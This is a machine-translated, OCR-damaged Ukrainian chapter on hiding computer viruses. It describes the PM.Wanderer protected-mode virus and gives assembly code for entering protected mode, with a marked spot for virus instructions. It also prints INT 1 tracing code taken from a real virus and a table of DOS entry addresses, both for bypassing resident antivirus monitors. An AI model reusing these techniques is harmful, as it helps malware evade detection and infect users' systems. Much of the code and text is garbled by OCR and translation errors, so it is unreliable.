Маскування вірусів

[ виправити ] текст може містити помилки, будь ласка перевіряйте перш ніж використовувати.

скачати

У цьому розділі розказано, як
може бути захований вірус.
Описано методи конструювання-
нування прямого звернення
до DOS для "обману" резіден-
тних антивірусних моніторин-
рів. Розглянуто віруси,
заражають Flash BIOS. Пред-
ставлени вихідні тексти
програм з докладними ком-
коментарями.

Protected Mode - укриття для вірусу

Персональні комп'ютери рік у рік стають все складніше і складність
неї, використовують все більш високі апаратні і програмні техноло-
гии. Комп'ютерні віруси теж не відстають і намагаються пристосуватися
до нових умов проживання. Так, віруси навчилися заражати завантажувальному-
ні сектори дисків, файли для операційних систем DOS, Windows,
Windows 95, OS / 2, Linux і навіть документи Word, Excel, і MS-Office 97.
Приховуючи свою присутність в системі, вони стали невидимками, або
стелс-вірусами. Вони навчилися бути поліморфними для того, щоб
їх розпізнавання стало ще більш важким завданням для розробників
антивірусних засобів. З появою процесорів i386 віруси стали
використовувати в своєму коді 32-розрядні інструкції. В даний вре-
ма поліморфні віруси використовують 32-розрядні розшифровуючи
команди у своєму декріпторе.

Одним словом, віруси хочуть вижити і перемогти. Для цього вони викорис-
товують всі нові можливості, як програмні, так і апаратні. Але
захищений режим роботи, що з'явився разом з процесором i286,
до недавнього часу вірусам ніяк не вдавалося "приручити". Вірніше,
були "проби пера", але реального вирішення цього завдання вони не дали.

Завантажувальний вірус PMBS, першим намагався освоїти захищений ре-
жим (1994 р.), не міг ужитися з жодною програмою або драйвером
(EMM386, Windows, OS / 2 ,...), які також використовували у своїй робо-
ті захищений режим. Віруси Evolution.2761 і Evolution.2770 (теж
1994 р.) використали тільки частину потужного захищеного режиму і толь-
ко в той час, коли процесор працював в реальному режимі. Дані виру-
си замінювали реальну таблицю векторів переривань на власну.

Але ось, схоже, проблема близька до розв'язання: у Росії в "дикому"
вигляді виявлений файловий вірус PM.Wanderer, що використовує захисту пра-
щенний режим. Причому він більш-менш коректно і стабільно вза-
імодействует з іншими програмами і драйверами, також використовую-
щими захищений режим.

PM.Wanderer є резидентним поліморфним вірусом, використовують-
ючим захищений режим процесорів i386-Pentium. Для установки
своєї резидентної копії в пам'ять і перемикання в захищений ре-
жим процесора (Protected Mode) вірусом використовується документують-
ний інтерфейс VCPI (Virtual Control Program Interface) драйвера
розширеної пам'яті EMS (EMM386).

При старті інфікованої програми вірусний поліморфний дек-
ріптор розшифровує основне тіло вірусу і передає йому управ-
ня. Далі основний вірусний код виділяє ділянку пам'яті у верхніх
адресах, копіює в нього власний код і передає йому управління.
Потім він відновлює код інфікованого файлу в програмному
сегменті (для ЕХЕ-файлів також робить налаштування адрес пере-
тi, що розмiщенi елементів) і приступає до безпосереднього впровадження
в пам'ять своєї резидентної копії. .

У першу чергу вірус намагається вьисніть, чи встановлений у системі драй-
вер EMS. Якщо цей драйвер не встановлений або вірусна резидентна ко-
пия вже знаходиться в пам'яті, вірус віддає управління програмі-вирусо-
носію, закінчуючи тим самим свою "життєдіяльність" у системі.

Якщо ж "умови середовища проживання" сприяють, вірус виконува-
ет ряд підготовчих операцій для виділення пам'яті під своє тіло
і виробляє переключення процесора в захищений режим роботи
з найвищим рівнем привілеїв - режим супервізора.

У захищеному режимі вірус встановлює дві апаратні контрольні
точки на адреси входу в обробник переривання INT 21h (функції DOS)
і переходу на процедуру перезавантаження комп'ютера. Крім того, вірус
коригує дескрипторних таблицю переривань таким чином, щоб
на переривання INT 1 (особливий випадок налагодження) і INT 9 (клавіатура) ус-
Вставте власні дескриптори обробників переривань.

Після цих приготувань вірус копіює свій код в сторінку пам'яті,
отриману ним ще до входу в захищений режим, і виробляє пере-
ключення процесора назад у віртуальний режим роботи. Потім він
починає процедуру звільнення раніше виділеної пам'яті DOS
у верхніх адресах і повертає управління інфікованої програмі.

З цього моменту інфікована програма починає свою основну
роботу, а в захищеному режимі виявляються встановленими вірус-
ні обробники - пастки на INT 1 і переривання від клавіатури на
INT 9. З їх допомогою вірус контролює, по-перше, всі виклики фун-
кцій DOS, по-друге, всі натиснення клавіш на клавіатурі, і, по-третє,
спроби м'якого перезавантаження комп'ютера. У свою чергу, такий конт-
роль забезпечує вірусу можливість як надійно реагувати на низку
цікавлять його подій при роботі програми, так і постійно
перевіряти стан двох своїх контрольних точок і за необхідно-
сти відновлювати їх.

Зокрема, якщо вірус виявляє, що даний виклик йде
від його "побратима", він просто повертає деяке умовне значення,
що грає роль відкликання "я - свій". Таким чином, вірус, який намагався
з'ясувати наявність своєї копії в пам'яті, буде поінформований про те,
що пам'ять вже інфікована.

Якщо вірус виявляє спробу отримання адреси переривання INT 6
(Зазвичай такий виклик існує в усіх програмах, написаних на
мовах високого рівня, наприклад С, Pascal), то він 1 "'1тается знайти
в адресному просторі деяку послідовність байт, очевидно
належать програмі ADinf, але якоїсь старої версії. До речі,
за інформацією розробника ADinf Дмитра Мостового, за останній
рік у версіях ADinf не міститься така послідовність. Якщо дано-
ва послідовність вірусом знайдена, він певним чином
модифікує знайдений код, щоб управління не потрапляло на виклик
межсегментной процедури, яка демонструє користувачеві знайдені
на диску або у файлах зміни.

Якщо ж вірус виявляє запит на запуск програми або відкриття
файлу (тільки на читання), то розуміє, що настав час "великої
полювання ". Вірус копіює свій код в старші адреси віртуального про-
цесу DOS-машини, перемикає процесор у віртуальний режим
і віддає управління свого коду (процедури зараження).

У віртуальному режимі вірус перевіряє останні дві букви розширенням-
ня імені файлу (ОМ або ХО), створює свою поліморфну ​​копію
і заражає файли розміром більше 4095 байт. Файли, що містять
в полі значення часу створення 34 секунди, вірус не заражає, вва-
тая їх вже інфікованими. Коригування атрибутів файлів вірус
не виробляє, тому всі файли, помічені як "тільки для чте-
ня ", заражені не будуть. Також вірус не заражає програми, ім'я ко-
торих складається з 7 літер. Імена даних програм з'ясувати не вдалося,
так як вірус не визначає їх імена явно, а підраховує CRC име-
ні. Вірус не бере на себе обробку критичних помилок, тому при
спробі запису на захищений диск у процесі зараження з'явиться
стандартне запитання DOS (... Retry, Ignore, Fail, Abort).

При зараженні файлів вірус використовує прямий виклик ядра обработчі-
ка DOS INT 21h. Адреса цього ядра він з'ясовує при трасуванні INT 21h
під час своєї установки в пам'ять. Вірусний код впроваджується в початок
СОМ-або в середину ЕХЕ-файла (відразу ж після заголовка). Оригі-
нальний програмний код запам'ятовується в кінці файлу. Реальний

робочий код вірусу складає 3684 байт, але на практиці інфікований-
ні файли мають збільшення довжини більш 3940 байт. У тілі вірусу
міститься текст "WANDERER".

Виявити резидентну копію даного вірусу, що знаходиться в нулі-
вом кільці захищеного режиму процесора, звичайними способами не-
можливо. Для цього необхідно перемикатися в захищений режим
з найвищими привілеями і виробляти його пошук. Але спробувати
виявити ознаки вірусу в системі можна і звичайними способами.

Після виявлення вірусу рекомендується, як і завжди в таких випад-
ях, перезавантажитися з системної дискети і виконати лікування в заведи-
мо стерильних умовах. Правда, цей вірус не є Stealth-ви-
русом, і його лікування допустимо навіть при активному вірус.

Тепер трохи про результати тестування. При зараженні неяк-
ких тисяч файлів-жертв вірус проявив себе як "мешканець" - все зара-
ковими файли виявилися працездатними. Тут треба зробити по-
правку - файли можуть виявитися непрацездатними в тому випадку,
якщо їх стек після зараження опиниться в області вірусного коду.
PM.Wanderer при зараженні файлів не коригує значення стар-
вих SS: SP в ЕХЕ-заголовку. Як вже зазначалося вище, він зберігає
здатність до відтворення тільки в тому випадку, якщо в системі уста-
новлено драйвер EMS (EMM386). При встановленому драйвері EMM386
з ключем NOEMS вірус перезавантажує комп'ютер. Перезавантаження також
можлива, якщо в системі використовується драйвер QEMM386.

Найцікавіше, що якщо в системі знаходився резидентний вірус,
а потім відбулася завантаження Windows 3.1 або Windows 95, то вірус не
зможе розмножуватися в даних операційних середовищах, але при виході
в DOS він знову отримує управління і може "працювати, не покладаючи
рук ". Якщо ж вірус буде запущений в DOS-сесії Windows, то з-за
відсутність інтерфейсу VCPI вірус не зможе застосувати в примiщеннi-
щенний режим. При відсутності VCPI під OS / 2 вірус також нежізнес-
посібник.

Можливо, в недалекому майбутньому комп'ютерний вірус зможе полнос-
ма замінити своїм кодом програму-супервізора і сам буде підтри-
проживати інтерфейси DPMI, EMS / VCPI, XMS, INT 15h. Хто знає.

Наведена нижче програма дозволяє програмісту перевести про-
цессора в захищений режим. У цьому режимі вірус може, наприклад,
розшифрувати деякі дані.

Дана програма робить наступне:

- Створює таблиці GDT і LDT, використовуючи поточні значення
CS.DS.SS

- Забороняє всі переривання, відкриває лінію А20
для доступу до RAM> 1 Мбайт

- Переводить процесор у захищений режим

- В перший символ рядка qw заносить символ L

- Виходить у реальний режим

- Дозволяє переривання, закриває А20-т

- Виводить на екран рядок qw ("Light General")

- Вихід у DOS

.286

. Model tiny
. Code
org 100h

Визначення для захищеного режиму роботи програми
; Структура дескриптора
desc_struc STRUC
limit dw 0
baseJ dw 0
base_h db 0
access db 0
rsrv dw 0

desc_struc ENDS

ACC_PRESENT equ WOOOOOOb
ACC_CSEG equ OOO-MOOOb
ACC_DSEG equ 000-IOOOOb
ACC_EXPDOWN equ 000001 OOb
ACC_CONFORM equ 000001 OOb
ACC_DATAWR equ 0000001 Ob

DATA_ACC = ACC_PRESENT or ACC_DSEG or ACC_DATAWR
; 1001001 Ob

CODE_ACC = ACC_PRESENT or ACC.CSEG or ACC_CONFORM
; 10011100b

STACK_ACC = ACC_PRESENT or ACC_DSEG or ACC_DATAWR or
ACC.EXPDOWN; 1001011 Ob

; Розміри сегментів (реальні розміри на одиницю більше)
CSEG SIZE = 65535

DSEG_SIZE = 65535
STACK_SIZE = 65535

[Зсуви використовуваних дескрипторів
CS_DESCR = (gdt_cs-gdt_0)
DS_DESCR = (gdt_ds-gdt_0)
SS_DESCR = (gdt_ss-gdt_0)

; Константи значень портів?
CMOS_PORT equ 70h
STATUS_PORT equ 64h
SHUTDOWN equ OFEh
A20_PORT equ OD1h
A20_ON equ ODFh
A20_OFF equ ODDh
INT_MASK_PORT equ 21 h
KBD_PORT_A equ 60h
start:

. Ініціалізіруем необхідні дані для переходу
; В захищений режим

call init_protected_mode

[Переходимо в захищений режим
call set_protected_mode

; Тепер комп'ютер працює в захищеному режимі!
; Так як таблиця переривань реального режиму не може бути

використана в захищеному, переривання заборонені!
; Саме тут можна вставити інструкції, потрібні вірусу
. Повертаємося в реальний режим
call set_real_mode

[Друкуємо повідомлення "Light General"
mov ah, 09h
lea dx.qw
int 21 h

; Виходимо в DOS
mov ax, 4COOh
int 21 h

[Макрокоманда для встановлення адреси для дескриптора
; В глобальній таблиці дескрипторів GDT.
; На вході регістри DLAX повинні містити
. Абсолютний адресу сегмента
setgdtentry MACRO

mov [desc_struc.base_l] [bx], ax

mov [desc_struc.base_h] [bx], dl
ENDM

• <

; Процедура ініціалізації необхідних даних
. Для переходу в захищений режим
init_protected_mode PROC

обчислюємо абсолютний адресу для сегмента даних
; У відповідності зі значенням регістру DS

mov ax.ds

mov dl.ah

shr dl, 4

shi ax, 4

; Встановлюємо адресу сегменту даних
; В глобальній таблиці дескрипторів

mov bx, offset gdt_ds

setgdtentry

; Обчислюємо абсолютний адресу для сегменту GDT: додаємо
; До вже обчисленому абсолютною адресою сегменту даних
; Зміщення у ньому таблиці дескрипторів

add ax, offset gdtr

adc dl.0

Зупиняємо адресу сегмента GDT
; В глобальній таблиці дескрипторів

mov bx.offset gdt_gdt

setgdtentry

; Обчислюємо абсолютний адресу для сегмента коду
; У відповідності зі значенням регістра CS

mov ax, cs

mov dl.ah

shr dl, 4

shi ax, 4

. Встановлюємо адресу сегмента коду
; В глобальній таблиці дескрипторів

mov bx, offset gdt_cs

setgdtentry

[Обчислюємо абсолютний адресу для сегменту стека
; У відповідності зі значенням регістру SS

mov ax.ss

mov dl.ah

shr dl, 4

shi ax, 4

Зупиняємо адресу сегмента стека
; В глобальній таблиці дескрипторів

mov bx, offset gdt_ss

setgdtentry

Перехоплюємо рестарт. Оскільки процесор i286 (а ця програма
[Розрахована саме на такий процесор) не має можливості
; Повернення в реальний режим із захищеного, повернення в реальний
режим будемо виробляти наступним чином: перехопимо рестарт,
. Сгенерируем CPU Reset, після якого отримаємо управління, коли
Процесор буде знаходиться вже в реальному режимі. На процесорі
; I386 повернення в реальний режим відбувається
[Значно простіше й "природніше".

push ds

mov ax, 40h

mov ds, ax

mov word ptr ds: [0067h], offset shutdown_return

mov word ptr ds: [0069h], cs

pop ds

[Забороняємо Масковані переривання
cli

in al, INT_MASK_PORT
or al.OFFh
out INT_MASK_PORT, al

[Забороняємо немаскируемого переривання. Дана послідовність
; Команд не забороняє "незапрещаемие" переривання в процесорі
[(Цього зробити за визначенням не можна), а "не пускає" сигнал

[Немаскируемого переривання до процесора

mov al, 8Fh

out CMOS_PORT, al

jmp $ +2

mov al, 5

out CMOS_PORT +1, al

ret
init_protected_mode ENDP

[Підпрограма, переводить процесор у захищений режим
set_protected_mode PROC

. Відкриваємо адресну лінію А20 для доступу понад 1Мбайт.
; При закритій лінії адресний простір
["Зациклюється" в межах 1Мбайт
call enable_a20

. Зберігаємо значення регістра SS для реального режиму
mov real_ss, ss

[Переводимо компілятор Turbo Assembler в покращений режим.
[IDEAL - це не команда і не оператор, це директива, що впливає
[Тільки на інтерпретацію подальших рядків лістингу

ideal

р286

[Завантажуємо регістр глобальної таблиці дескрипторів GDTR
Igdt [QWORD gdt_gdt]; db OFh, 01h, 16h dw offset gdt_gdt

[Переводимо процесор у захищений режим
mov ax, 0001h
Imsw ax; db OFh, 01h, FOh

[Переводимо компілятор Turbo Assembler тому в режим MASM
masm
.286

[Виробляємо довгий перехід для того,
. Щоб очистити внутрішню чергу
. Команд процесора

jmp far flush

db OEAh

dw offset flush

dw CS_DESCR
flush:

Зупиняємо в регістр SS селектор сегмента стека
mov ax, SS_DESCR
mov ss.ax

; Встановлюємо в регістр DS селектор сегменту даних
mov ax, DS_DESCR
mov ds.ax

. Записуємо в рядок qw символ "L" і виходимо з підпрограми

mov byte ptr ds: [off set qw +2], "L"

ret
set_protected_mode ENDP

Підпрограма, що повертає процесор в реальний режим
set_real_mode PROC

[Зберігаємо значення регістра SP для реального режиму
mov real_sp, sp

. Виконуємо CPU Reset (рестарт процесора)
mov al, SHUT_DOWN
out STATUS_PORT, al

; Чекаємо, поки процесор перезапуститься
wait_reset:

hit

jmp wait_reset

; C цього місця програма виконується після перезапуску процесора
shutdown_return:

; Встановлюємо регістр DS відповідно до регістром CS
push cs
pop ds

відновлюємо покажчики на стек
; За раніше збереженим значенням

mov ss, real_ss

mov sp, real_sp

[Закриваємо адресну лінію А20
call disable_a20

. Дозволяємо немаскируемого переривання
mov ax.OOOdh
out CMOS_PORT, al

[Дозволяємо Масковані переривання

in al, INT-MASK_PORT

and al, 0

out INT_MASK_PORT, al

sti

ret
set_real_mode EN DP

[Процедура, що відкриває адресну лінію А20. Після відкриття

[Адресної лінії програмами буде доступна пам'ять понад 1Мбайт
enable_a20 PROC

mov al, A20_PORT

out STATUS_PORT, al

mov al, A20_ON

out KBD_PORT_A.al

ret
enable_a20 ENDP

[Процедура, що закриває адресну лінію А20. Після закриття
[Адресної лінії програмами буде недоступна пам'ять понад 1Мбайт.
[Адресний простір буде "зацикленим" в межах 1Мбайт
disable_a20 PROC

mov al.A20_PORT

out STATUS_PORT, al

mov al, A20_OFF

out KBD_PORT_A, al

ret
disable_a20 ENDP

[Тут зберігається адреса стека
real_sp dw?
real_ss dw?

[Цей рядок виводиться на екран після роботи програми
[Символ "?" замінюється на "L" в захищеному режимі

qw db 13,10, "? ight General", 13,10, "$"

; Глобальна таблиця дескрипторів. Нульовий дескриптор

обов'язково повинен бути "порожнім"

GDT_BEG = $

gdtr label WORD

gdt_0 desc_struc

gdt_gdt desc_struc

gdt_ds desc_struc

gdt_cs desc_struc

gdt_ss desc_struc

GDT_SIZE = ($-GDT_BEG)

END start

Обхід резидентних антивірусних моніторів

Зазвичай всі програми використовують сервіс DOS так:

mov ah, ...

int 21 h

За командою INT управління передається в точку, адреса якої визначаються-
ється двома словами, що знаходяться в таблиці векторів переривань
за адресою 0000h: 0084h. З цього моменту починається виконання команд
численних обробників переривання INT 21h і не менш численними
лених резидентних програм до тих пір, поки управління, нарешті,
не отримає оригінальний обробник операційної системи (рис. 5.1.):

Маскування вірусів

Зрозуміло, серед цих численних обробників може "затесатися"
обробник, що належить антивірусному монітора, який не дає
спокійно працювати не тільки вірусам, але і звичайних програм.

Тому серйозні віруси і деякі добре написані програми
намагаються визначити адресу оригінальному обробника і звернутися
до нього безпосередньо, в обхід решти обробників:

mov ah, ...
pushf

call dword ptr 021

021 dw?

S21 dw?

Але антивірусні монітори враховують цю можливість і приймають
свої заходи.

Визначення адреси оригінальному обробника DOS

Для того щоб звернутися до DOS безпосередньо, потрібно знати адресу оригі-
нального обробника. Отримати цю адресу не так просто.

Метод трасування

Найчастіше використовується метод трасування за допомогою отладочного
переривання INT 1. Суть методу полягає в тому, що вірус трасує-
ет переривання INT 21h (включає прапор трасування, при цьому після
кожної команди відбувається переривання INT 1) і перевіряє значення
сегмента, у якому йде обробка переривання. Якщо значення сег-
та менше ОЗООЬ, то це обробник DOS. Наприклад, так робив мно-
го років тому вірус Yankee 2C (М2С, Музичний). Ось лістинг відповід-
ветствующего фрагмента з коментарями:

; Беремо з таблиці векторів переривань поточний адресу INT 01 h
mov ax, 3501 h
int 21h

mov si.bx; зсув зберігаємо в регістрі SI
mov di.es; сегмент зберігаємо в регістрі DI

Зупиняємо свій оброблювач INT 01h
mov ax, 2501h
mov dx, offset lnt01
int 21h

; Формуємо в стеку адресу виходу з трасування так, щоб по IRET
; З INT 21h потрапити на мітку Next - поміщаємо в стек
. Послідовно прапори, сегмент і зсув мітки Next

pushf

push cs

mov ax, offset Next

push ax

; Починаємо трасування INT 21 h. Для цього потрібно підготувати стек
; Наступним чином: помістити в нього прапори з включеним прапором
; Трасування, а також сегмент і зсув поточного обробника
; INT 21 h. Потім можна виконати команду IRET - програма запустить
. Поточний обробник і вважає з стека прапори (прапор трасування
, По флагової регістрі включиться, почнеться трасування. Після
. Кожної команди процесора буде запускатися INT 01 h).
; Розміщуємо в стек прапори, включаємо в них біт, відповідний
; Прапору трасування TF. Для того, щоб включити прапор
. Трасування TF, після збереження прапорів у стеку вважаємо їх
; В регістр АХ, в ньому включимо відповідний біт, а потім
. Збережемо регістр АХ в стеку

pushf

pop ax

or ax, 0100h

push ax

; Вважаємо з таблиці векторів переривань поточний адресу INT 21 h
mov ax, 3521 h
int 21 h

[Збережемо в стеку сегмент, а потім і зміщення поточного обробника
push es
push bx

[Встановимо в регістрі АН номер будь-якої невинною функції
; (Щоб визначення адреси обробника DOS
; Не супроводжувалося руйнуванням)
mov ah.OBh

. Запускаємо трасування
cli
iret

[Оброблювач INT 01 h
lnt01:

; При виклику обробника в стеку знаходяться: значення регістра IP,
; Значення регістра CS, прапори перед перериванням.
[Адресуємося до стека за допомогою регістра ВР,

[Попередньо зберігши поточне значення ВР
push bp
mov bp.sp

; Тепер в стеку знаходяться:

; SS: [BP] - ВР
; SS: [BP +2] - IP
; SS: [BP +4] - CS
; SS: [BP +6] - прапори
; Перевіряємо прапор продовження
cmp byte ptr cs: ContinueFlag, 1

; Якщо прапор продовження вимкнений, то виходимо з трасування
jne TraceOff

[Перевіряємо поточний адресу. Якщо сегмент менше 300h,
обробник DOS досягнуто, інакше - продовжуємо трасування
; І виходимо з обробника

cmp word ptr [bp +4], 300h

jnc ExitFromInt

[Досягнуто DOS - беремо із стека адресу обробника і зберігаємо його
push bx

mov bx, [bp +2]
mov word ptr cs: 021, bx
mov bx, [bp +4]
mov word ptr cs: S21, bx
pop bx

. Закінчуємо обробку переривання і подальшу трасування
TraceOff:

[Встановлюємо в нуль біт, відповідний TF,
; В копії регістра прапорів у стеку
and word ptr [bp +6], OFEFFh

[Встановлюємо в нуль прапор продовження

mov byte ptr cs: ContinueFlag, 0
ExitFromInt:

pop bp

. Виходимо з обробника
i ret

[Відновлення після трасування
Next:

[Скидаємо прапор продовження
mov byte ptr ds: ContinueFlag, 0

[Відновлюємо колишнє значення вектора переривання INT 01 h
mov ax, 2501 h
mov dx.si
mov ds.di
int 21 h

В даний час цей алгоритм можна вважати дещо заста-
шим. Справа в тому, що сучасні версії DOS можуть розміщувати свій
обробник в областях верхньої пам'яті. Тому умова закінчення
трасування має виглядати, наприклад, так:

cmp word ptr [bp +4], 300h
jb loc_65

cmp word ptr [bp +4], OFOOOh
ja loc_65

В якості альтернативного варіанту можна використовувати такий прийом.
Спочатку визначається вихідний сегмент DOS за допомогою недокумен-
тованої функції 52h переривання INT 21h (повертає адресу століття-
торної таблиці зв'язку DOS):

mov ah, 52h

int 21h

mov SegDOS, es

Тоді умова завершення трасування можна оформити таким
чином:

push ax

mov ax, cs: SegDOS

cmp word ptr [bp +6], ax

pop ax

jz DOSIsGot

Зрозуміло, різні прийоми можуть дати різні результати. Причому всі
результати можна вважати в тій чи іншій мірі коректними. Справа
в тому, що сучасні версії DOS, навіть будучи завантаженими в верх-
нюю пам'ять, завжди мають точку входу в нижній пам'яті види:

пір
пір

[Перевірка стану адресної лінії А20
call Check_A20

[Перехід у верхню пам'ять
jmp cs: dword ptr HI_DOS

З точки зору обходу резидентних моніторів "правильним" слід
визнати адреса в обробнику DOS, що має максимальне значення.
Ми ще повернемося до питання про знаходження "правильного" адреси далі.

Автори антивірусних моніторів знають про подібний прийомі пошуку ори-
гінального адреси DOS. Досить легко зіпсує трасування, на-
приклад, от такий от фрагмент, вбудований в ланцюжок обробників:

. Викликаємо обробник переривання INT 60h (до цього моменту
[Переривання INT 60h повинно бути перехоплено)
int 60h

; Сюди потрібно повернутися з переривання
пір

[Сюди реально повернемося, і прапор трасування буде скинуто,
; Тобто трасування буде припинена
пір

[Обробник переривання. При виклику переривання прапор трасування
. Скидається - при вході в обробник трасування буде виключена
lnt60:

[Дозвіл переривань, тому що при виході з обробника НЕ
[Буде відновлюватися оригінальне значення регістра прапорів

sti

[Збільшуємо на одиницю адресу повернення в стеку
push bp
mov bp, sp
add [bp +2], 1
pop bp

[Виходимо з переривання, але не командою IRET, а командою RETF 2,
. Щоб не відновлювати прапори (і, як наслідок,

. Прапор трасування TF)
retf 2

Крім того, факт трасування можна досить просто знайти,
застосувавши добре відомий розробникам захистів від несанкціонований-
ного копіювання прийом апаратного конвеєра, який використовує
процесор для прискорення роботи. При виконанні чергової команди
процесор зчитує код наступної. Коли прийде час виконання
наступної команди, вона буде вже зчитана з пам'яті, і не потрібно бу-
дет витрачати час на її читання. Прийом полягає в модифікації ко-
манд, які вже опинилися в конвеєрі: якщо трасування не ведеться,
то код команд модифікується тільки в пам'яті, а виконується та про-
грама, яка знаходиться в конвеєрі. Якщо трасування ведеться, то
конвеєр скидається перед кожною командою трассируемого програм-
ми (конвеєр скидають такі команди, як JMP, CALL, RET) і ви-
ся модифікований код.

Кодіфіціруем наступну команду. Команда JMP (безумовний
; Перехід) замінюється на дві команди NOP (немає операції)
mov Metka, 9090h

Переходимо, якщо виконується не модифікований код (у разі,
; Коли трасування не ведеться), і проходимо далі, якщо виконується
кодифікований код (у разі трасування)
Metka: jmp NoTrace
Trace:

; Сюди потрапимо при виявлений факт трасування
NoTrace:

Трасування не ведеться - нормальне виконання програми

Нарешті, останній цвях у домовину ідеї використання трасування за-
біт: "Виставлений прапор трасування можна виявити побічно, замас-
кіровав апаратні переривання, помістивши в [SP-1] контрольне значен-
ня і давши інструкцію STI. Тоді по зміні слова в стеку можна
судити, було трасувальні переривання чи ні ".

Виявивши факт трасування переривання DOS, монітори починають видав-
вать про це відповідні повідомлення, тому навіть не самий
досвідчений користувач здогадається, що хтось (наприклад, вірус) катує-
ся потрапити в систему.

Метод предопределенньш адрес

Переходимо до методу визначення оригінальному адреси точки входу
в DOS, заснованому на тому, що ці адреси для різних версій і конфі-
гурацій DOS мають у загальному випадку різні значення, але число
їх обмежена. А це значить, що їх можна просто-напросто вибирати
з таблиці (причому не дуже великий). Прийом не новий, але незаслу-
женно забутий.

Маючи програму, засновану на одному з раніше описаних способів
визначення реальної адреси обробника DOS, завантажувальні дискети
з різними версіями DOS і трохи терпіння, можна отримати при-
мірно ось таку інформацію.

Оригінальний обробник DOS версії 3.30 завжди має вигляд:

. Точка Про
2Е CS:

891ЕВ800 MOV [ООВ8], ВХ
2Е CS:

8С06ВАОО MOV [OOBA], ES
СВ RETF

. Точка 1
2Е CS:

3A26FFOD СМР AH, [ODFF]
77DC JA 1443
80FC51 СМР АН, 51
74А1 JZ 140D

80FC64 СМР АН, 64
74ВА JZ 143A
; Крапка 2

Оригінальні обробники DOS версій 5.0-7.0 дуже схожі.
У загальному випадку вони складаються з наступних фрагментів:

Фрагмент 1 (якщо він присутній) завжди розташовується в нижніх ад-
ресах пам'яті. Більшість алгоритмів трасування закінчують робо-
ту, досягнувши цієї точки. Для DOS версій 5.0-6.22 цей фрагмент при-
відсутній, якщо в CONFIG.SYS є рядок DOS = HIGH (поза
Залежно від того, чи здійснюється запуск підтримує цю
опцію драйвера HIMEM.SYS). Якщо драйвера немає, то JMP FAR просто

вказує на фрагмент 2, що розміщується в нижніх областях пам'яті.
Якщо рядки DOS = HIGH немає, то фрагмент 1 виродилися (складається з од-
ної команди внутрішньосегментного переходу), і обробник складається
з фрагмента 2.

; Крапка Про

90 МОР

90 NOP

E8CCOO CALL CheckA20

2E CS:

FF2E6A10J MP FAR NEXTDOS

Фрагмент 2 може розташовуватися як у верхніх, так і в нижніх адре-
сах пам'яті.

; Точка 1
NEXTDOS:

FA CLI
80FC6C СМР АН.6С
77D2 JA 40DO

80FC50 СМР АН.50
748Е JZ 40A9
; Крапка 2

Для DOS 7.0 структура обробника, загалом, така ж. Виняток -
фрагмент 1 присутня завжди, незалежно від вмісту фай-
ла CONFIG.SYS. Тепер наведемо конкретні значення адрес, напів-
ченние для різних випадків:

DOS 7.0 (російська версія)

Точка Про OOC9: OFB2 9090
Точка 1 FF03: 41E7 80FA
Крапка 2 FF03: 420A 1E06
Точка 2А FF03: 5333 2ACD

DOS 6.20

device = himem. sys
dos = high

Точка Про 0123:109 Е 9090
Точка 1 FDC8: 40F8 80FA
Крапка 2 FDC8: 411B1E06
Точка 2А FDC8: 41D12ACD

DOS 6.20
dos = high

Точка Про 0123:109 Е ОЗЕВ
Точка 1 03AC: 40F8 80FA
Крапка 2 ОЗАС: 411В 1Е06
Точка 2А 03AC: 41D1 2ACD

DOS 6.20

Точка 1 002A: 40F8 SOFA
Крапка 2 002А: 411В 1Е06
Точка 2А 002A: 41D1 2ACD

DOS 5.0

device = himem. sys
dos = high

Точка Про 0123:109 Е 9090
Точка 1 FDC8: 40EB80FA
Крапка 2 FDC8: 410E 1Е06
Точка 2А FDC8: 41C42ACD

DOS 5.0

dos = high

Точка Про 0123:109 Е ОЗЕВ
Точка 1 03AC: 40F8 80FA
Крапка 2 ОЗАС: 411В 1Е06
Точка 2А 03AC: 41D1 2ACD

DOS 5.0

Точка 1 002А: 40ЕВ 80FA
Крапка 2 002А: 410Е 1Е06
Точка 2А 002A: 41D1 2ACD

DOS 3.30

Точка Про 0070:05 DC 892E
Точка 1 0294:1460 ЗА2Е
Крапка 2 0294:1480
Точка 2А 0294:151 У 2ACD

DOS 3.10

Точка О 0070: OD43

DOS 3.20

Точка 0 0070:17 DO

Крапка 2 є оптимальною, тобто в неї найдоцільніше пере-
давати управління, щоб обійти резидентні антивірусні монітори.
Точка 2А - це позиція інструкції INT 2Ah, яку DOS обов'язковим
але виконує в процесі обробки 21-го переривання.

У кінці кожного рядка наведено контрольні слова - на той випадок,
якщо за вказаною адресою знаходиться щось інше.

Боротьба з антивірусними моніторами

Сучасні антивірусні монітори вміють відстежувати факт прямо-
го обігу програм до DOS.

Захист 21-го переривання можна організувати більш ефективно, вико-
товуючи метод вбудовування в ядро ​​операційної системи. Загальноприйнятих
тая схема така: в точку входу переривання INT 21h записується інстр-
рукція JMP FAR на обробник, який перевіряє номер функції на
безпеку. Він відновлює оригінальні інструкції в точці вхо-
та переривання і викликає обробник INT 21h. Після повернення управ-
ня з переривання, в точку входу знову записується інструкція JMP
FAR, і управління передається програмі, що викликала INT 21h.

Тут описаний звичайний "сплайсинг" (вбудовування), який широко
застосовується розробниками вірусів. Відзначимо, що для переходу не
обов'язково використовувати посібник JMP FAR (вона займає 5 байт
в пам'яті і не скрізь може бути розміщена). Замість неї можна примі-
нитка INT 3, витративши всього 1 байт. У той же час необхідно забезпе-
чить обробку викликів з кодами OOh, 4Ch, 31h (вони не повертають уп-
равленіе у вихідну точку), а також самовизовов (при завершенні
процесів за допомогою INT 27h і INT 20h).

Процес розвивається таким чином. Перший компонент антивірус-
ного монітора вбудовується в ядро ​​DOS, а другий - просто перехоплюючи-
ет ланцюжок 21-го переривання. Коли програма виконує інструкцію
INT 21h, управління передається другому компоненту. У антивірусних
моніторів існує список функцій, які сприймаються ними
як небезпечні. Вони можуть зробити перевірку на наявність заданої функ-
ції в цьому списку, а потім виставити прапор "прохід ланцюжка" та передати
управління далі. Коли перший компонент отримує управління, він
перевіряє прапор "проходу ланцюжка". Якщо він виставлений, то була інстр-
рукція INT 21h, тому необхідно скинути прапор "прохід ланцюжка"
і передати управління в DOS. Якщо прапор скинутий, це значить, що був

5 - 1436

виконаний прямий виклик. У цьому випадку потрібно приймати відпо-
ціалу заходи проти можливих дій вірусу.

Ця ідея виключно проста і ефективна. У тому чи іншому вигляді її
застосовують майже всі сучасні антивірусні монітори. Ось один
з таких варіантів.

Після трасування переривання виконується звернення до DOS по
оригінального адресою. Програма AVPTSR перехоплює звернення.
Точніше, AVPTSR перехоплює INT 2Ah, причому цей виклик вироблена-
ден з INT 21h, поблизу початку фрагмента. Оброблювач INT 08h,
